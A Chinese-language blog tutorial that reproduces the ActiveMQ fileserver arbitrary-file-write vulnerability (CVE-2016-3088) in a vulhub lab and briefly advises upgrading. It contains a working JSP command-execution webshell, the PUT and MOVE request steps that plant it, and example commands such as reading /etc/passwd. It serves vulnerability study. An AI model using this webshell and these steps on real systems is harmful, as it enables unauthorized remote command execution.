ActiveMQ任意文件写入漏洞(CVE-2016-3088)

目录

一、ActiveMQ任意文件写入漏洞

1、背景描述

2、漏洞原理

3、影响版本

二、环境搭建

三、漏洞复现

四、漏洞防御

一、ActiveMQ任意文件写入漏洞

1、背景描述

ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。

fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:

①其使用率并不高

②文件操作容易出现漏洞

所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。

在测试过程中,可以关注ActiveMQ的版本,避免走弯路。

2、漏洞原理

本漏洞出现在fileserver应用中,漏洞原理其实非常简单,就是fileserver支持写入文件(但不解析jsp),同时支持移动文件(MOVE请求)。所以,我们只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。

3、影响版本

Apache ActiveMQ 5.x ~ 5.14.0

二、环境搭建

使用工具:Ubuntu(IP:192.168.50.189/24)、kali-linux-2022.2(IP:192.168.50.133/24)、火狐浏览器

使用vulhub靶场运行漏洞环境,kali-linux-2022.2已安装Burp Suite

三、漏洞复现

1、搭建及运行漏洞环境

docker-compose build

docker-compose up -d

环境监听61616端口和8161端口,其中8161为web控制台端口,本漏洞就出现在web控制台中。

访问http://your-ip:8161/看到web页面,说明环境已成功运行。

2、默认的ActiveMQ账号密码均为`admin`,首先访问http://192.168.50.189:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径

3、在火狐浏览器上开启代理,使用Burp Suite对192.168.50.189:8161/admin/fileserver进行抓包

4、将抓到的包发给Repeater,右键选择发送

5、点击Repeater,把GET /admin/fileserver HTTP/1.1修改为PUT /fileserver/1.txt HTTP/1.1,并增加一段代码,然后点击Go上传webshell,返回一个204说明上传成功

<%@ page import="java.io.*"%>

<%

out.print("Hello");

String strcmd=request.getParameter("cmd");

String line=null;

Process p=Runtime.getRuntime().exec(strcmd);

BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));

while((line=br.readLine())!=null){

out.print(line+"");

}

%>

6、移动到web目录下的api文件夹(`/opt/activemq/webapps/api/s.jsp`)中:

Destination:file:///opt/activemq/webapps/api/1.jsp

7、火狐浏览器关闭代理,利用该版本存在的未授权访问漏洞,不用登录,访问http://192.168.50.189:8161/api/1.jsp?cmd=ls,下图可以看到成功执行命令,另外http://192.168.50.189:8161/api/1.jsp?cmd=cat%20/etc/passwd可查看账户密码信息

四、漏洞防御

ActiveMQ Fileserver 的功能在 5.14.0 及其以后的版本中已被移除。建议用户升级至 5.14.0 及其以后版本

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

猿猿酱

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值